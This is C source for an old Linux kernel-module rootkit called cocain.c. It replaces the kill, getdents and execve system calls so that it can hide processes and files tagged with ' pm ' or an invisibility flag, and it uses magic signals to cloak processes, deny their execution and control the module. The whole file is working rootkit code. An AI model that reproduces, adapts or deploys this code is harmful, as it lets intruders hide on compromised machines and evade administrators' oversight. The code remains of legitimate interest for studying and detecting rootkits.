/*
 * cocain.c, by pmsac@toxyn.org, 1998
 *
 * Just another ripp off from:
 * - heroin.c, by Runar Jensen, zarq@opaque.org, 1998(?), from BugTraq
 * - itf.c v0.8, by plaguez, dube0866@eurobretagne.fr, 1997, from Phrack52
 *
 * gcc -Wall -O3 -fomit-frame-pointer -c cocain.c
 */

#define MODULE
#define __KERNEL__
#define VERSION_COUNT sn199807290332

#include <linux/fs.h>
#include <linux/module.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <sys/syscall.h>

#define HIDEMESTR " pm "
#define PF__INVISIBLE 0x80000000
#define PF__NINVISIBLE 0x7fffffff
#define PF__EXECDENY 0x40000000
#define PF__NEXECDENY 0xbfffffff

#define PID 0
#define SIGSANE 31
#define SIGDEBUG 12
#define SIGCOUNT 10
#define SIGFLAGS 0
#define SIGEXECDENY 31
#define SIGINVISIBLE 0

extern void *sys_call_table[];

int errno;
int VERSION_COUNT = 0;
int debug = 0;
int __NR_myexecve;


int (*oldKill)(pid_t, int);
int (*oldGetdents)(unsigned int, struct dirent *, unsigned int);
int (*oldExecve)(const char *, const char *[], const char *[]);
void cleanup_module(void);

#define DEBUG(X); if (debug) printk(X);
#define DEBUG4(X,Y,Z,W); if (debug) printk(X,Y,Z,W);

int myatoi(char *str) {
int ret = 0;
int mul = 1;
char *ptr;

  for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
    if (*ptr < '0' || *ptr > '9')
      return (-1);
    ret += (*ptr - '0') * mul;
    mul *= 10;
  }
  return(ret);
}

struct task_struct *find_task(pid_t pid) {
struct task_struct *task = current;

  do {
    if (task->pid == pid)
      return (task);
    task = task->next_task;
  } while(task != current);
        return(NULL);
}

void showTasksFlags() {
struct task_struct *task = current;
static char *flagsStr[] = { "--", "i-", "-x", "ix" };
int flags;

  do {
    flags = 0;
    if (task->flags & PF__INVISIBLE)
      flags += 1;
    if (task->flags & PF__EXECDENY)
      flags += 2;
    if (flags) {
      DEBUG4("-> %s %s/%i\n",flagsStr[flags],task->comm,task->pid);
    }
    task = task->next_task;
  } while(task != current);
}

static inline char *task_name(struct task_struct *p, char *buf) {
int i;
char *name;

  name = p->comm;
  i = sizeof(p->comm);
  do {
    unsigned char c = *name;
    name++;
    i--;
    *buf = c;
    if (!c)
      break;
    if (c == '\\') {
      buf[1] = c;
      buf += 2;
      continue;
    }
    if (c == '\n') {
      buf[0] = '\\';
      buf[1] = 'n';
      buf += 2;
      continue;
    }
    buf++;
  } while (i);
  *buf = '\n';
  return buf + 1;
}

int invisible(pid_t pid) {
struct task_struct *task;
char *buffer;

  if ((task = find_task(pid)) == NULL)
    return(0);
  if (task->flags & PF__INVISIBLE)
    return(1);
  else {
    buffer = kmalloc(200, GFP_KERNEL);
    memset(buffer, 0, 200);
    task_name(task, buffer);
    if (strstr(buffer, HIDEMESTR)) {
      kfree(buffer);
      return 1;
    }

  }
  return(0);
}

int newKill(pid_t pid, int sig) {
int ret;
struct task_struct *task = current;

  DEBUG("newKill()\n");
  
  if ((sig != SIGINVISIBLE) &&
      (sig != SIGEXECDENY) &&
      ((pid != PID) ||
       ((sig != SIGCOUNT) &&
        (sig != SIGDEBUG) &&
        (sig != SIGFLAGS) &&
        (sig != SIGSANE)))) {
        DEBUG("-> oldKill()...\n");
    ret = (*oldKill)(pid, sig);
    if (ret == -1)
                        return (-errno);
    return(ret);
  }
  if (pid != PID) {
    if (sig == SIGINVISIBLE) {
      DEBUG("-> Got invisible signal...\n");
      if ((task = find_task(pid)) == NULL) {
        DEBUG("-> Returning -ESRCH...\n");
        return(-ESRCH);
      }
      if (current->uid && current->euid) {
        DEBUG("-> Returning -EPERM...\n");
        return(-EPERM);
      }
      if ((task->flags & PF__INVISIBLE) ^ PF__INVISIBLE) {
        DEBUG("-> Cloaking...\n");
        task->flags |= PF__INVISIBLE;
      }
      else {
        DEBUG("-> Decloaking...\n");
        task->flags &= PF__NINVISIBLE;
      }
    }
    if (sig == SIGEXECDENY) {
      DEBUG("-> Got execdeny signal...\n");
      if ((task = find_task(pid)) == NULL) {
        DEBUG("-> Returning -ESRCH...\n");
        return(-ESRCH);
      }
      if (current->uid && current->euid) {
        DEBUG("-> Returning -EPERM...\n");
        return(-EPERM);
      }
      if ((task->flags & PF__EXECDENY) ^ PF__EXECDENY) {
        DEBUG("-> Execdeny on...\n");
        task->flags |= PF__EXECDENY;
      }
      else {
        DEBUG("-> Execdeny off...\n");
        task->flags &= PF__NEXECDENY;
      }
    }
  }
  else {
    if (sig == SIGFLAGS) {
      DEBUG("-> Showing flags...\n");
      showTasksFlags();
    }
    if (sig == SIGCOUNT) {
      DEBUG("-> Toggling usage count...\n");
      VERSION_COUNT ^= 1;
      if (VERSION_COUNT)
        MOD_INC_USE_COUNT;
      else
        MOD_DEC_USE_COUNT;
    }
    if (sig == SIGDEBUG) {
      DEBUG("-> Toggling debugging...\n");
      debug ^= 1;
    }
    if (sig == SIGSANE) {
      DEBUG("-> Sanitizing module, pls remove by hand...\n");
      while (VERSION_COUNT != 0) {
        MOD_DEC_USE_COUNT;
        VERSION_COUNT--;
      }
    cleanup_module();
    }
  }

  DEBUG("-> Returning...\n");
        return(0);
}

int newGetdents(unsigned int fd, struct dirent *dirp, unsigned int count) {
unsigned int ret;
int procfs = 0;
struct inode *dinode;
struct dirent *ourDirp;
int left, removed = 0;
char *ptr;
struct dirent *curr;

  DEBUG("newGetdents()\n");

  DEBUG("-> oldGetdents()...\n");
  ret = (*oldGetdents)(fd, dirp, count);

#ifdef __LINUX_DCACHE_H
    dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
    dinode = current->files->fd[fd]->f_inode;
#endif

  if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) &&
      MINOR(dinode->i_dev) == 1) {
        DEBUG("-> Proc fs...\n");
    procfs = 1;
  }
  else {
    DEBUG("-> Not proc fs...\n");
  }
  
  if (ret > 0) {
    DEBUG("-> Allocating kernel space...\n");
    ourDirp = (struct dirent *) kmalloc(ret, GFP_KERNEL);
    DEBUG("-> Copying to kernel space...\n");
    memcpy_fromfs(ourDirp, dirp, ret);
    
    ptr = (char *)ourDirp;
    left = ret;
          while(ptr < (char *)ourDirp + ret) {
                  curr = (struct dirent *)ptr;
                  if (curr->d_reclen == 0) {
                    ret -= left;
                    break;
                  }
      if (strstr((char *)&curr->d_name, HIDEMESTR) ||
          (procfs && invisible(myatoi(curr->d_name)))) {
                                 ret -= curr->d_reclen;
                                 left -= curr->d_reclen;
                                 removed += curr->d_reclen;
                                 memmove(ptr, ptr + curr->d_reclen, left);
                                 curr->d_off -= removed;
                                 continue;
                  }
                  left -= curr->d_reclen;
                  ptr += curr->d_reclen;
          }
    
    DEBUG("-> Copying to user space...\n");
    memcpy_tofs(dirp, ourDirp, ret);
    DEBUG("-> Deallocating kernel space...\n");
    kfree(ourDirp);
  }
  
  DEBUG("-> Returning...\n");
  return ret;
}

int cryptic_execve(const char *filename, const char *argv[], const char *envp[])
{
long __res;
  __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
  return (int) __res;
}

int newExecve(const char *bin, const char *argv[], const char *envp[]) {
int ret;

  DEBUG("newExecve()\n");
  
  DEBUG("-> Checking execdeny...\n");
  if ((current->flags & PF__EXECDENY) ^ PF__EXECDENY) {
    DEBUG("-> oldExecve()...\n");
    ret = (*cryptic_execve)(bin, argv, envp);
    return (ret);
  }
  else {
    DEBUG("-> Returning -EPERM...\n");
    return(-EPERM);
  }

  DEBUG("-> Returning...\n");
        return(0);

}

int init_module(void) {

  DEBUG("init_module()\n");
  
  DEBUG("-> Replacing kill()...\n");
  oldKill = sys_call_table[SYS_kill];
  sys_call_table[SYS_kill] = newKill;

  DEBUG("-> Replacing getdents()...\n");
  oldGetdents = sys_call_table[SYS_getdents];
  sys_call_table[SYS_getdents] = newGetdents;

  DEBUG("-> Replacing execve()...\n");
  __NR_myexecve = 164;
  while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
    __NR_myexecve--;
  oldExecve = sys_call_table[SYS_execve];
  if (__NR_myexecve != 0) {
    sys_call_table[__NR_myexecve] = oldExecve;
    sys_call_table[SYS_execve] = newExecve;
  }
  
  DEBUG("-> Returning...\n");
  return 0;
}

void cleanup_module(void) {

  DEBUG("cleanup_module()\n");
  
  DEBUG("-> Restoring kill()...\n");
  sys_call_table[SYS_kill] = oldKill;
  
  DEBUG("-> Restoring getdents()...\n");
  sys_call_table[SYS_getdents] = oldGetdents;

  DEBUG("-> Restoring execve()...\n");
  sys_call_table[SYS_execve] = oldExecve;
  DEBUG("-> Restoring __NR_myexecve...\n");
  if (__NR_myexecve != 0)
    sys_call_table[__NR_myexecve] = 0;
  DEBUG("-> Returning\n");
}